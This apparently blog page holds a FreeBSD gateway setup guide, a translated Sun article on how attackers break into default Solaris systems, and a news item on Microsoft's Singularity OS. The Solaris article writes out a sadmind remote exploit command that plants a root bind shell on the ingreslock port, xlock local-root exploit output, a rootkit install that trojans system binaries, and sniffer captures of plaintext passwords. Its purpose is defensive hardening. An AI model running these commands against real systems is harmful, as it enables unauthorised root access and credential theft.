       在网上查阅了一些资料,花了半天的时间,将基于FreeBSD的网关搞定:
现分享如下:
一网络环境:
通过1M ADSL上网,动态IP,不向外提供服务。内部有几十台电脑,要共享上网。FreeBSD5.3,两块网卡,8139(rl0),对外,同ADSL猫相连,530tx(vr0),对内,同交换机相连。
二系统安装:
  至于系统的安装网上有很多资料,在此不细说。
 详情请看http://www.xyinfo.ha.cn/netschool/freebsd/index.htm
三编译内核:
加上ipfilter支持,去掉系统默认的 ipfirewall。
#cd  /usr/src/sys/i386/conf
#cp GENERIC DAFEI
#ee DAFEI
修改这一行,红色的部分要和该文件名相同。
ident           DAFEI
在末尾加入一下几行:
#禁用ipfirewall。
#options        IPFIREWALL
#options        IPFIREWALL_VERBOSE
#options        IPFIREWALL_VERBOSE_LIMIT=90
#options        IPFIREWALL_DEFAULT_TO_ACCEPT
#options        IPDIVERT

#支持ipfilter
options         BRIDGE
options         IPFILTER
options         ACCEPT_FILTER_DATA
options         ACCEPT_FILTER_HTTP
由于ipfirewall和ipfilter都运行在内核,二者不能同时共存,所以必须注释掉ipfirewall,其他内核优化选项这里就不细说了。
编译内核:
#cd /usr/src
#make kernel KERNCONF=DAFEI
编译成功后要重新启动计算机。
四 配置拨号上网:
修改ppp.conf文件
#cd /etc/ppp
#cp ppp.conf cpp.conf.bak
#ee ppp.conf
修改如下:
default:
set log Phase Chat LCP IPCP CCP tun command
ident user-ppp VERSION (built COMPILATIONDATE)
set redial 15 28800
set reconnect 15 28800
set dial "ABORT BUSY ABORT NOsCARRIER TIMEOUT 5
          "" AT OK-AT-OK ATE1Q0 OK dATDTT TIMEOUT 40 CONNECT"                     

adsl:
set device PPPoE:rl0
set mru 1492
set mtu 1492
set speed sync
enable lqr
set lqrperiod 5
set cd 5
set dial
set login
set timeout 0
set authname YOURUSERNAME used to login
set authkey  YOURPASSWORD used to login

set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0
add default HISADDR                  
enable dns
红色的部分是需要修改的
五 定制防火墙规则:
#cd /etc
#touch ipf.rules
#ee ipf.rules
加入如下内容:
block in log quick all with short
block in log quick all with ipopts
block in log quick all with frag
block in log quick all with opt lsrr
block in log quick all with opt ssrr

pass out on vr0 all
pass in on vr0 all
pass out quick on lo0 all
pass in quick on lo0 all

block out on rl0 all

pass out quick on rl0 proto tcp from any to any flags S keep state keep frags
pass out quick on rl0 proto udp from any to any keep state
pass out quick on rl0 proto icmp all keep state

block in quick on rl0 all

由于空间的限制,删去了一些规则。
六 配置地址转换(实现NAT功能):
#cd /etc
#touch ipnat.rules
#ee ipnat.rules
加入如下内容:
map rl0 192.168.0.0/16 -> 0/32 proxy port ftp ftp/tcp
map rl0 192.168.0.0/24 -> 0/32 portmap tcp/udp 10000:30000
map rl0 192.168.0.0/24 -> 0/32

七 配置rc.conf文件:

#cd /etc
#ee rc.conf
修改如下:
gateway_enable="YES"
hostname="ginifab-gatway.ginifab.com"
ifconfig_vr0="inet 192.168.1.1  netmask 255.255.255.0"
kern_securelevel="1"
kern_securelevel_enable="YES"
inetd_enable="YES"
linux_enable="NO"
sendmail_enable="NO"

keyrate="fast"
nisdomainname="NO"
sshd_enable="YES"
usbd_enable="NO"

ppp_enable="YES"
ppp_mode="ddial"
ppp_mode="background"
ppp_profile="adsl"
firewall_enable="NO"
firewall_logging_enable="NO"
ipfilter_enable="YES"
ipnat_enable="YES"

网关为192.168.1.1
八: #reboot now

一切OK。
注意:
编译内核时可根据自己机子的配置优化。本人的这个网关开机后总共使用不到30M内存。
定制防火墙规则可参考网上资料,定制的更加安全,高效。
在实现该网关的过程中,参考了很多网上的资料,本人仅把自己的配置过程写出来。

,

No Comments

黑客攻击的策略,工具和操作步骤

按:本文摘自SUN技术社区,主要针对于Solaris用户。


本文介绍一般的黑客是通过什么样手段攻击你的Solaris操作系统的,值得注意的是,大多数的攻击总是用最基本,最简单的方法取得成功的。

本文中,我们假定大家采用Solaris的缺省配置,我们以此为例,说明什么样的系统漏洞最容易招致黑客攻击。同时,我们采用的工具都是网上很容易找到的免费软件,以此演示黑客进攻所使用的技巧。

这里演示的攻击方法都有相应的预防措施,但是,黑客们每天都在使用这些方法取得成功。只有你知道黑客在做什么,他们是怎么做的,你才会明白在自己的机构中建立和维护一个安全的系统是多么重要。

许多管理员仅仅在安装系统的时候才会考虑安全性问题,以为这样就一劳永逸了。可惜事实上保护系统的安全是一个不断进行的过程,必须经常跟踪和检查。

使用本文提供的资料,你可以尝试攻击你所管理的数据中心(datacenter),高端服务器或者其他系统来检查是不是最基本的攻击方式都可以轻易得手。根据这些信息,你就可以确定系统的缺陷,然后采取措施加以保护。

这篇文章包括以下内容:

攻击的策略
工具
操作步骤
如何使用工具
相关参考资料

攻击的策略

苍蝇不叮没缝的蛋,黑客攻击总是寻找有漏洞的系统。一般来说,漏洞有三种:
1.账户系统的漏洞
2.操作系统的漏洞
3.运行环境(一般是后台进程)的漏洞

大 多数黑客都是由于好奇心的驱使而发起攻击的,所以这些黑客最终也许会找到某种专门的方法来进行有效的攻击。但绝大多数成功入侵都是利用早已公布的安全漏洞 来完成的。管理员或者是没有打必要的补丁,或者是没有禁用这些功能,终于飞来横祸。今天,我们要讨论的就是这种不应该发生但事实上却每天都在发生的故事。

提示:你可以利用SUN公司推荐的工具包 Solaris Security Toolkit 来帮助你完善系统:打上该打的补丁或者禁用某些危险的功能。这个工具包可以从 http://www.sun.com/blueprints/tools 下载。

发现账户系统的漏洞

黑 客社会经常出现这样一种情况:某些黑客高手开发出一个很好的扫描工具以后,就把这个工具放到网上,由于这个工具能够有效地搜索已经公布的系统漏洞,很多低 级黑客(通常是所谓的”脚本少年”)就开始利用这个工具7X24小时地工作,搜索大量的主机系统来找出一些存在漏洞的系统。如果他们想进入某个公司的系 统,就会寻找所有与其有关的主机进行扫描。

扫描过后,一般总能发现一些差劲的系统,这些少年就可以开始工作了。由 于漏洞的严重程度不同,有时候他们只能建立非特权账户,但有时候就可以建立一些特权账户。不管怎样,攻击者已经有了落脚点,他们进一步的扩大战果,获取更 多的特权,还会继续攻击所有跟这台主机有信任关系的其他主机。

发现操作系统的漏洞

如前所述,黑客首先寻找系统漏洞以获取一个账户,然后再寻找操作系统的漏洞来进攻。

寻找某个特定操作系统的漏洞非常容易。现今有许多机构在Internet上提供操作系统的漏洞大全。这些机构的目的是想给公众提供资料,所以一般的网民和黑客同样可以获取这些资源。换句话说,你和黑客是平等的,每个人都有能力成为黑客。

Mitre, 一个为政府服务的智囊团,维护着一个有关系统漏洞和安全隐患的字典,(Common Vulnerability and Exposures—简称 CVE)。他们在自己的网站上解释这样做的目的:

我们给每个系统漏洞和信息安全隐患起一个标准化的名字—CVE 的目标就是标准化所有已知系统漏洞和安全隐患的命名以方便查阅和搜索。

其它的安全网站,比如 SecurityFocus, CERT, SANS Institute等等, 都提供方法和工具来发现并攻击系统漏洞

攻击运行环境

以Solaris 2.6为例。一个非常有名的漏洞就是由 sadmind 进程造成的。(现在已经有专门的补丁)。黑河经常利用这个漏洞获取root 权限。
每个人都可以很容易学会怎样利用这个漏洞进行攻击:搜索前面的Mitre网站可以得到一个CVE 编号,再利用一个搜索引擎和这个编号,你就可以找到用来攻击的源代码和详尽的攻击步骤。整个寻找过程只要几分钟。比如,到SecurityFocus站点 找源代码,到SANS站点找攻击方略。

工具

黑客们有许多工具攻击系统,我们这里所介绍的每种工具都有专门的用途。我们把这些工具分为四个类型:

端口扫描工具
漏洞扫描工具
Rootkits (隐身工具)
Sniffers (抓包工具)

端口扫描工具

端口扫描工具大概是Internet上用得最多的扫描工具了。这个工具扫描大量的IP地址,然后得出一系列的报告: 他们遇到的主机,操作系统的类型,可用的端口,等等。现在最流行的工具是Network Mapper(Nmap).

Nmap的网站这样描述这个工具:

Nmap (“Network Mapper”) is an open source utility for network exploration or
security auditing. It was designed to rapidly scan large networks, although it
works fine against single hosts. Nmap uses raw IP packets in novel ways to
determine what hosts are available on the network, what services (ports) they are
offering, what operating system (and OS version) they are running, what type of
packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs
on most types of computers, and both console and graphical versions are
available. Nmap is free software, available with full source code under the terms
of the GNU GPL.3

Nmap 是一个用于检察系统安全性的开放源码工具。它主要用来扫描大量的网络主机,当然,检查单个主机更没问题。由于Nmap使用原始IP包搜集数据,然后以一种 很巧妙的方式判断如下信息:网络上有哪些主机,都提供那些服务,操作系统是什么,是哪亿个版本,使用了哪一类包过滤/防火墙技术,等等。Nmap支持大多 数操作系统,包含命令行版本和GUI版本。Nmap 是自由软件,任何人可以在GNU GPL下获得其源代码。

Nmap 支持的扫描种类非常多:包括TCP SYN和 NULL scan。其他选项包括OS fingerprinting, parallel scan, 以及decoy scanning 等。Nmap有一个命令叫做xnmap可以支持图形方式的操作。更详细的信息可以从Nmap网站或者nmap(1M)的手册页得到。

系统漏洞扫描

漏洞扫描工具可以对目标系统进行测试,看它是不是存在某个特定的漏洞可以用来攻击,或者是许多已知漏洞中的一个。大多数这种工具都可以免费得到,这里着重介绍目前最流行,也是发展最快的一个工具: Nessus.

Nessus的网站这样描述这个工具:
“Nessus”项目致力于向Internet社区提供一种免费但功能强大,迅速更新的远程安全检查工具。这种工具可以通过在远端操作就可以评估一个网络的安全性,看它是不是能够被轻易攻入,当然,也难免有人会怀着其他目的使用这个软件。
与其他的安全检查工具不同,Nessus从不做事先假定,举个例子,它不会假定web server是监听在80端口,所以即使你在1234端口启动apache,它也可以发现,Nessus也不根据软件的版本判断是否存在漏洞,它只是真正 的测试这个软件看它是不是有问题。
Nessus速度非常快,也很可靠,它是基于模块架构的,这样你如果需要的话可以很容易的改造它。

Nessus为系统管理员和黑客提供了同样的工具来检查一个系统,评价它是否安全。它既支持命令行方式,也支持图形界面,但一般用图形界面更方便。如果需要更多的信息,请访问Nessus网站。

Rootkits(隐身工具)

Rootkits是指由一些脚本和程序打包成的一种工具,这种工具能帮助入侵者消除自己曾经侵入这个系统,并曾经获取root权限的痕迹,它的主要工作如下所示:
修改log文件,清除黑客活动证据。
修改系统工具,使得管理员很难甚至无法发现黑客活动。
为下次入侵留下后门。
把当前的系统变成落脚点,进一步入侵其它系统。

Sniffers(抓包工具)

一般的网络软件仅仅接受专门发给自己的IP包,Sniffing使计算机能够截获局域网上所有的包,来获取一些不必要知道或者不应该知道的东西。要想使用 sniffer,必须先把计算机设置到一种特定的模式,使得底层的网络软件把所有收到的IP包都转发到上层的应用程序。

Solaris自带一个snoop工具,尽管相对粗糙,但仍然能够清除的以文本方式显示收到的用户ID和口令。目前经常使用的许多网络软件都使用铭文传送用户名和口令的。比如Telnet,IMAP,POP3等。

黑客一旦进入系统,通常会安装一个抓包工具来寻找更多的用户名和口令,也会寻找网络结构方面的信息,以方便进一步的攻击。

操作步骤

本届以两个实例说明黑客入侵一个没有安全保护的系统有多么轻而易举,我们的两个实例模拟以下两种情况的攻击:

从Internet 发起攻击
从网络内部发起攻击

在以上两种攻击情形中,黑客只要得到了root权限,就会想办法保留这种进攻途径,以便下一次进入系统,它也会建立更多的特权,以获取更多的资源。我们在这里把黑客用到的工具综合起来,来显示他们是怎样工作的。

从Internet发起攻击

这个实例中,我们用Nessus找到一个Solaris2.6系统,这个系统存在sadmind 的RPC漏洞而且没有打补丁,我们看看sadmind 进攻是如何攻破系统的。

首先,黑客用一个rootkit来获取并保护自己的root访问权限。在 sadmindex.c 程序的开头有这样一段关于用法的信息:

sadmindex – SPARC Solaris remote root exploit for /usr/sbin/
sadmind Tested and confirmed under Solaris 2.6 and 7.0 (SPARC)
Usage: % sadmindex -h hostname -c command -s sp [-o offset] [-a
alignment] [-p]
where hostname is the hostname of the machine running the
vulnerable system administration daemon, command is the command to
run as root on the vulnerable machine, sp is the %sp stack pointer
value, offset is the number of bytes to add to sp to calculate the
desired return address, and alignment is the number of bytes needed
to correctly align the contents of the exploit buffer.

Sadmindex的作者甚至给出了一个推荐的sp 堆栈指针值来使得攻击更加容易。
有时可能需要调整sp 参数,作者也给出了调整的方法,事实上也花不了许多时间。
我们从一个运行Solaris8的系统向目标机器发起攻击:

# ./sadminsparc -h nfs -c "echo ’ingreslock stream tcp nowait root
/bin/sh sh -i’
>/tmp/.gotcha; /usr/sbin/inetd -s /tmp/.gotcha" -s 0xefff9596

运行的过程如下:

% sp 0xefff9596 offset 688 –> return address 0xefff9844 [4]
% sp 0xefff9596 with frame length 4808 –> %fp 0xefffa858
clnt_call: RPC: Timed out
now check if exploit worked; RPC failure was expected

作为系统管理员,如果你想在自己的系统上试一下,或者你想检查是否有黑客攻击了你的系统,可以使用以下命令:

# ps -ef | grep inetd
root 5806 1 1 22:59:38 ? 0:00 /usr/sbin/inetd -s /tmp/.x

然后,执行以下命令来检查ingreslock进程是否生效:

# netstat -a | grep ingres
*.ingreslock *.* 0 0 0 0 LISTEN

黑客可以用以下命令建立Telnet连接,从而获得root权限:
# telnet nfs ingreslock
Trying 192.168.0.20…
Connected to nfs.
Escape character is ’^]’.
# hostname
nfs

从内部攻击

这是一个很常见的情形,某个公司职员可以访问系统,但没有root特权,如果系统不足够安全的话,就会给居心不良的职员以可乘之机。
雇员恶意攻击系统以获取更多权限的问题是确实存在的,但很多系统管理员或经理人员总是忽视这个问题,他们或者认为这样的事情不会发生,或者觉得应该充分相信雇员。这样就很容易引发严重的安全问题。

许多系统都会有各种各样的用户,他们的权限根据用户ID和所在的用户组确定,一般来说,这些用户没有root口令,也没有root权限。但当一个授权用户心存恶意的时候,当某个入侵者采用某种手段得到了一个有效的账户的时候,将会发生什么事情呢?

进入系统以后,入侵者大多会利用某些软件的缓冲区溢出问题进行攻击来得到root权限。例如,2001年8月10号,就有人发现xlock存在缓冲区溢出问题。(xlock是X-windows用来锁屏的程序)这个漏洞很有价值,因为xlock是用 setuid root命令安装的。

在网上可以很容易地找到利用这个漏洞进行攻击的源代码,只需要131行,在我们的例子中,我们用gcc编译了这个程序,然后放在测试系统ganassi上面。下面是攻击的过程:

console login: noorder
Password:
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
ganassi% /usr/ucb/whoami
noorder
ganassi% ./sol_sparc_xlockex
shellcode address padding = 0
stack arguments len = 0×502(1282)
the padding zeros number = 2
Using RET address = 0xeffffb10
Using retloc = 0xefffe8c4
# /usr/ucb/whoami
root

现在我们已经得到root权限了,下面的攻击就很容易了,可以安装sniffer,也可以设置后门,运行rootkits,等等。

如何使用工具:

这一节介绍前面提到的几个工具的用法,我们给出使用的例子和解释输出结果的技巧,把这些信息和前面的攻击案例结合起来,可以使进攻更犀利,更有效。

端口扫描工具用法:
我们用下面的例子解释Nmap的用法。从输出结果可以看到系统当前所运行的服务,Nmap辨别目标操作系统版本的能力非常有用,因为这样可以为其后的攻击节省很多时间。

根据Nmap的输出结果,这个系统是一个Solaris2.6或者Solaris7系统,大多数缺省的服务都在运行。
输出结果如下:

# /usr/local/nmap -O ganassi
Starting nmap V. 2.53 (www.insecure.org/nmap/)
Interesting ports on ganassi (10.8.10.231):
(The 1515 ports scanned but not shown below are in state: closed)
Port State Service
7/tcp open echo
9/tcp open discard
13/tcp open daytime
19/tcp open chargen
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
37/tcp open time
79/tcp open finger
111/tcp open sunrpc
512/tcp open exec
513/tcp open login
514/tcp open shell
515/tcp open printer
540/tcp open uucp
1103/tcp open xaudio
4045/tcp open lockd
6112/tcp open dtspc
7100/tcp open font-service
32771/tcp open sometimes-rpc5
32772/tcp open sometimes-rpc7
32773/tcp open sometimes-rpc9
32774/tcp open sometimes-rpc11
32775/tcp open sometimes-rpc13
32776/tcp open sometimes-rpc15
32777/tcp open sometimes-rpc17
32778/tcp open sometimes-rpc19
Remote operating system guess: Solaris 2.6 – 2.7
Uptime 0.054 days (since Wed Sep 12 09:41:59 2001)
Nmap run completed — 1 IP address (1 host up) scanned in 37 seconds

漏洞扫描工具
Nessus用法如下:
# nessus -T text localhost 1241 noorder targetfile outfile
nessus检察 targetfile中的主机,并将检查结果保存在 outfile
输出文件如下所示:
Nessus Scan Report
——————
SUMMARY
– Number of hosts which were alive during the test : 1
– Number of security holes found : 2
– Number of security warnings found : 15
– Number of security notes found : 1
TESTED HOSTS
192.168.0.90 (Security holes found)

然后是检查的细节描述:
DETAILS
+ 192.168.0.90 :
. List of open ports :
o unknown (161/udp) (Security hole found)
o unknown (32779/udp) (Security warnings found)
o unknown (32775/tcp) (Security warnings found)
o unknown (32776/udp) (Security warnings found)
o unknown (32778/udp) (Security warnings found)
o unknown (32774/udp) (Security hole found)
o unknown (32777/udp) (Security warnings found)
o unknown (32780/udp) (Security warnings found)
o unknown (32775/udp) (Security warnings found)
o lockd (4045/udp) (Security warnings found)
o unknown (32781/udp) (Security hole found)
. Vulnerability found on port unknown (32774/udp) :
The sadmin RPC service is running.
There is a bug in Solaris versions of
this service that allow an intruder to
execute arbitrary commands on your system.
Solution : disable this service
Risk factor : High

利用这些输出信息,黑客可以按照我们上文描述的方法入侵系统。
另外,nessus还可以发现一种叫做“拒绝服务”式的漏洞:

DETAILS
. List of open ports :
o general/tcp (Security hole found)
. Vulnerability found on port general/tcp :
It was possible
to make the remote server crash
using the ’teardrop’ attack.
A cracker may use this attack to
shut down this server, thus
preventing your network from
working properly.
Solution : contact your operating
system vendor for a patch.
Risk factor : High
CVE : CAN-1999-0015

使用Rootkits
网络上有不少这种软件,我们使用针对Solaris2.6的一个工具包(sun2.rootkit)来演示。这个rootkit包含三个类型的程序:

网络抓包工具
log文件修改
Internet Relay Chat(IRC)proxy

这个工具包中有一个安装脚本:
ganassi# ./setup.sh
hax0r w1th gforce
Ok This thing is complete :-)
cp: cannot access l0gin
cp: cannot create /usr/local/bin/find: No such file or directory
mv: cannot access /etc/.ts
mv: cannot access /etc/.tp
– WTMP:
/var/adm/wtmp is Thu Mar 26 13:21:36 1987
/usr/adm/wtmp cannot open
/etc/wtmp is Thu Mar 26 13:21:36 1987
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
No user re found in /var/adm/wtmp
[...]
./setup.sh: ./zap: not found
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id … | -l ]
./secure.sh: usage: kill [ [ -sig ] id … | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
193 ? 0:00 inetd
cp: cannot access /dev/.. /sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute
Irc Proxy v2.6.4 GNU project (C) 1998-99
Coded by James Seter :bugs-> (Pharos@refract.com) or IRC pharos on
efnet
–Using conf file ./sys222.conf
–Configuration:
Daemon port……:9879
Maxusers………:0
Default conn port:6667
Pid File………:./pid.sys222
Vhost Default….:-SYSTEM DEFAULT-
Process Id…….:759
Exit ./sys222{7} :Successfully went into the background.

这个脚本写的既不高明也不标准,但它确实生效了,最终替换了下列系统程序:
/bin/ls
/usr/bin/ls
/bin/ps
/bin/netstat
/usr/bin/netstat
/usr/sbin/rpcbind

现在攻击者取得了root权限而且这个系统已经变得:
系统管理员很难使用标准的Solaris命令发现入侵者的踪迹,因为这些命令已经被换成了特罗伊木马。
入侵者很容易再次入侵系统,因为login和rpcbind两个程序的新版本将允许进攻者远程登录系统。

Rootkit还在俘虏主机上安装了抓包工具,包括:le,sniff,sniff-10mb,和sniff-100mb.
在我们的系统上只有sniff-100mb可以工作,因为其他几个工具固定死了网卡接口的名称。
Sniff-100mb缺省使用hme0网卡,当网络有活动的时候,程序清晰的打印出结果:
ganassi# ./sniff-100mb
Using logical device /dev/hme [/dev/hme]
Output to stdout.
Log started at => Thu Aug 26 15:31:10 [pid 856]
— TCP/IP LOG — TM: Thu Aug 26 15:31:19 –
PATH: 10.8.10.200(34398) => ganassi(telnet)
STAT: Thu Aug 26 15:31:48, 111 pkts, 128 bytes [DATA LIMIT]
DATA: (255)(253)^C(255)(251)^X(255)(251)^_(255)(251)
(255)(251)!(255)(251)"(255)(251)’(255)(253)^E(255)(250)^_
: P
: ^X(255)(240)(255)(252)#(255)(252)$(255)(250)^X
: DTTERM(255)(240)(255)(250)’
: (255)(240)(255)(253)^A(255)(252)^Anoorder
: t00lk1t
: ls
: who
: cd /var/tmp
: ls -al

输出中清楚地包含用户名和口令。
这个rootkit中处理log文件的程序叫做zap,它在却省的路径中寻找并修改下面几个文件:utmp,utmpx,wtmp,wtmpx和lastlog.
还有一个工具叫做bot,它可以维护一个专门的IRC通道,用来发送消息或者相应一些命令。

使用Sniffers
为了说明用抓包工具获取用户名和口令的用法,我们用snoop来做实验,搜集这些信息只需要几秒钟就可以了:
先是一个Telnet的例子:
# snoop -d qfe0 port telnet ganassi
ganassi -> nomex-lab TELNET R port=32835
37737313773751login:
nomex-lab -> ganassi TELNET C port=32835 r
ganassi -> nomex-lab TELNET R port=32835 r
nomex-lab -> ganassi TELNET C port=32835 o
ganassi -> nomex-lab TELNET R port=32835 o
nomex-lab -> ganassi TELNET C port=32835
nomex-lab -> ganassi TELNET C port=32835 o
ganassi -> nomex-lab TELNET R port=32835 o
nomex-lab -> ganassi TELNET C port=32835
nomex-lab -> ganassi TELNET C port=32835 t
ganassi -> nomex-lab TELNET R port=32835 t
nomex-lab -> ganassi TELNET C port=32835
ganassi -> nomex-lab TELNET R port=32835 Password:
nomex-lab -> ganassi TELNET C port=32835
nomex-lab -> ganassi TELNET C port=32835 t
ganassi -> nomex-lab TELNET R port=32835
nomex-lab -> ganassi TELNET C port=32835 0
ganassi -> nomex-lab TELNET R port=32835
nomex-lab -> ganassi TELNET C port=32835 0
ganassi -> nomex-lab TELNET R port=32835
nomex-lab -> ganassi TELNET C port=32835 l
ganassi -> nomex-lab TELNET R port=32835
nomex-lab -> ganassi TELNET C port=32835 k
ganassi -> nomex-lab TELNET R port=32835
nomex-lab -> ganassi TELNET C port=32835 1
ganassi -> nomex-lab TELNET R port=32835
nomex-lab -> ganassi TELNET C port=32835 t
nomex-lab -> ganassi TELNET C port=32835
ganassi -> nomex-lab TELNET R port=32835 Last login: Thu Mar
nomex-lab -> ganassi TELNET C port=32835
ganassi -> nomex-lab TELNET R port=32835 #

然后是一个IMAP的例子:
# snoop -d qfe0 port imap2 ganassi
jordan -> ganassi IMAP C port=46600
ganassi -> jordan IMAP R port=46600
jordan -> ganassi IMAP C port=46600
ganassi -> jordan IMAP R port=46600 * OK ganassi SIMS ™ 2.0p12
IMAP
jordan -> ganassi IMAP C port=46600
jordan -> ganassi IMAP C port=46600 1 capability

ganassi -> jordan IMAP R port=46600
ganassi -> jordan IMAP R port=46600 * CAPABILITY IMAP4 STATUS SCAN
IMAP4
jordan -> ganassi IMAP C port=46600
jordan -> ganassi IMAP C port=46600 2 login "hacked" "t00lk1t”

ganassi -> jordan IMAP R port=46600 2 OK LOGIN completed

使 用snoop是最直接的办法,但如果它运行的时间很长,就会产生大量的数据,很容易引起怀疑,所以更好的办法是采用某种可以仅仅保存用户名和口令的工具, sniffit使其中非常简单的一个,令一个复杂一些,但也更灵活,更强大的工具是dsniff.(它还可以攻击交换式网络)这两个工具都可以长时间的运 行来收集成百上千的用户名和口令。

交换式网络
说到网络抓包,有必要提一下网络交换机,与集线器hub一样,网络交换机把多个系统连接到一个网段中。主要的区别式交换机是基于端口工作的,这种方式下, 交换机的每个端口只能看到发给它的IP包,而不是网上所有的报都可以看到。这样就算一块网卡配成混合模式,它也不能受到发送到其他地方的包。

因此,许多人认为抓包工具没有用。但事实上即便是交换式网络中也需要小心抓包工具,原因有两点:1,一台机器上的抓包工具既可以收集发到本系统的包,也可 以收集从本机发出的包,这样就有更多的口令容易泄漏;2,ARP攻击可以对付网络交换机,是它把所有的包都通过一个固定的端口进行转发,这样sniff仍 然有用武之地。所以,网络交换机是预防sniff攻击的一种方法,但绝不是彻底的方法。

要想真正防止抓包工具,必须采用加密技术。例如,用SSH代替Telnet和FTP,用SSL代替普通的pop3收发邮件。这样才能真正有效地避免sniffing.

Terminal Server(终端控制器)
许多机构经常利用终端控制器管理一些服务器主机(这些主机没有显示器,键盘和鼠标,只能通过远程终端控制台管理)。尽管在数据中心这样做可以节省空间和资源,非常必要,但也应该注意安全性的问题,比如,SUN cluster3.0附带的终端控制器通常是8口的Bay Annex Server。这种终端控制器同样是利用Telnet工作的。以下是snoop纪录的一次root登录中断服务器的过程:

# snoop -d qfe0 nts01
nts01 -> nomex TELNET R port=34395
Rotaries Defined:
nomex -> nts01 TELNET C port=34395
nts01 -> nomex TELNET R port=34395

Enter Annex p
nomex -> nts01 TELNET C port=34395
nomex -> nts01 TELNET C port=34395 3
nts01 -> nomex TELNET R port=34395
nts01 -> nomex TELNET R port=34395 Attached to port 3
nomex -> nts01 TELNET C port=34395
nts01 -> nomex TELNET R port=34395 ganassi console lo
nomex -> nts01 TELNET C port=34395
nomex -> nts01 TELNET C port=34395 r
nts01 -> nomex TELNET R port=34395 r
nomex -> nts01 TELNET C port=34395 o
nts01 -> nomex TELNET R port=34395 o
nts01 -> nomex TELNET R port=34395 o
nomex -> nts01 TELNET C port=34395 o
nomex -> nts01 TELNET C port=34395 t
nts01 -> nomex TELNET R port=34395 t
nomex -> nts01 TELNET C port=34395
nts01 -> nomex TELNET R port=34395 Password:
nomex -> nts01 TELNET C port=34395
nomex -> nts01 TELNET C port=34395 t
nts01 -> nomex TELNET R port=34395
nomex -> nts01 TELNET C port=34395 0
nts01 -> nomex TELNET R port=34395
nomex -> nts01 TELNET C port=34395 0
nts01 -> nomex TELNET R port=34395
nomex -> nts01 TELNET C port=34395 l
nts01 -> nomex TELNET R port=34395
nomex -> nts01 TELNET C port=34395 k
nts01 -> nomex TELNET R port=34395
nomex -> nts01 TELNET C port=34395 1
nts01 -> nomex TELNET R port=34395
nomex -> nts01 TELNET C port=34395 t
nts01 -> nomex TELNET R port=34395
nomex -> nts01 TELNET C port=34395
nts01 -> nomex TELNET R port=34395 Mar 26 13:04:36 ga
nts01 -> nomex TELNET R port=34395 Last login:
nomex -> nts01 TELNET C port=34395
nts01 -> nomex TELNET R port=34395 Thu Mar 26 13:03:06
nts01 -> nomex TELNET R port=34395 SunOS 5.6 Gene

显然,终端服务器同样需要安全保护,可以采用两种方法:一是采用支持SSH的终端服务器,二是把终端服务器与本地子网隔离开来,通过一个支持SSH的网关登录终端服务器。

参考资料:

1. Webster’s Third New International Dictionary, Merriam-Webster, Inc., Springfield,
MA, 1986, page 2442.
2. Common Vulnerability and Exposures (CVE) Web site:
http://cve.mitre.org
3. NMap web site: http://www.nmap.org
4. Nessus web site: http://www.nessus.org

相关资源:
公共出版物:
Dasan, Vasanthan, Noordergraaf, Alex, and Ordica, Lou. The Solaris Fingerprint
Database—A Security Tool for Solaris Software and Files, Sun BluePrints OnLine, May
2001
Deeths, David and Brunette, Glenn. Using NTP to Control and Synchronize System
Clocks – Part II: Basic NTP Administration and Architecture, Sun BluePrints OnLine,
August 2001.
Noordergraaf, Alex. Building Secure N-Tier Environments, Sun BluePrints OnLine,
October 2000.
Noordergraaf, Alex. Solaris Operating Environment Minimization for Security:
Updated for the Solaris 8 Operating Environment, Sun BluePrints OnLine, November
2000.
Noordergraaf, Alex and Brunette, Glenn. The Solaris Security Toolkit—Quick Start:
Updated for Version 0.3, Sun BluePrints OnLine, June 2001.
Noordergraaf, Alex and Watson, Keith. Solaris Operating Environment Security:
Updated for the Solaris 8 Operating Environment, Sun BluePrints OnLine, April 2001.
Prosise, Chris and Shah, Saumil Udayan. At the Root of Rootkits, CNET Online,
http://builder.cnet.com/webbuilding/0-7532-8-4561014-1.html?tag=st.bl.7532.edt.
7532-8-4561014, January 25, 2001.
Reid, Jason M and Watson, Keith. Building and Deploying OpenSSH in the Solaris
Operating Environment, Sun BluePrints OnLine, July 2001.
Watson, Keith and Noordergraaf, Alex. Solaris Operating Environment Network
Settings for Security: Updated for the Solaris 8 Operating Environment, Sun BluePrints
OnLine, December 2000.

网址:
> Sun BluePrints OnLine: http://sun.com/blueprints
> TripWire: http://www.tripwire.com
> Chkrootkit: http://www.chkrootkit.org/
> Nessus: http://www.nessus.org
> NMap: http://www.nmap.org
> SecurityFocus: http://www.securityfocus.com
> CERT: http://www.cert.org
> SANS Institute: http://www.sans.org
> SunSolve: http://sunsolve.sun.com

No Comments

微软全新操作系统曝光:Singularity

微软Research首次披露了该公司下一款全新操作系统Singularity,这款新操作系统在设计上完全改头换面,不再执着于性能,而以稳定性作为首要标准。

微软在Singularity的总述中表示,目前正在开发的Singularity操作系统将在系统构建、编程语言以及工具等领域应用微软最先进的技术。

例如,Singularity的核心技术之一SIP(Software Isolated Processes,软件独立进程)将采用Tape-safe编程语言以及精简指令集完成,保证系统进程之间的高度独立性。

SIP保证每个程序、设备驱动以及系统扩展组件在自己的SIP内运行,不允许相互共享内存或修改自身代码,这将极大增强系统的稳定性。

以下是部分测试数据

测试平台:

CPU:AMD Athlon 64 3000+(1.8 GHz)
芯片组:NVIDIA nForce4 Ultra
内存:1GB RAM
硬盘:Western Digital WD2500JD 250GB 7200RPM SATA
参测系统:FreeBSD 5.3,Red Hat Fedora Core 4(kernel version 2.6.11-
1.1369_FC4),Windows XP(SP2),Singularity


微软
这是在进行基本操作的时候所消耗的CPU周期

No Comments